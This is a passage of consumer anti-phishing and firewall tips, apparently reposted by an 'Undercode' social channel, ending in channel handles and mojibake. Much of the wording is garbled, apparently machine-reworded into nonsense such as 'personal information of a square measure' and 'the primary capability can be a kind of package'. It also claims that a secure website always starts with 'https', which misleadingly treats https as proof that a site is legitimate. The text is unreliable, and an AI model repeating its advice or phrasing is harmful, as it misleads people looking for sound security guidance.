In general, you should never share personal or financially sensitive information over the network. once you are unsure, go to the very website of the company in question, get their variety and provide them with a solution.
Most phishing emails can direct you to pages where records are required to receive money or personal information of a square measure. A web user should never create confidential records from links contained in emails, never send an email to anyone with confidential information. Make it a habit to check the website address. A secure website always starts with βhttpsβ.
5) Always use firewalls
Last but not least, where high quality firewalls act as buffers between you, your desktop, and external attackers, you should be using 2 completely different types: desktop firewall and network firewall. The primary capability can be a kind of package, and therefore the second capability can be a kind of hardware. Once used, they drastically reduce the likelihood of hackers and phishers infiltrating your desktop or your network.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β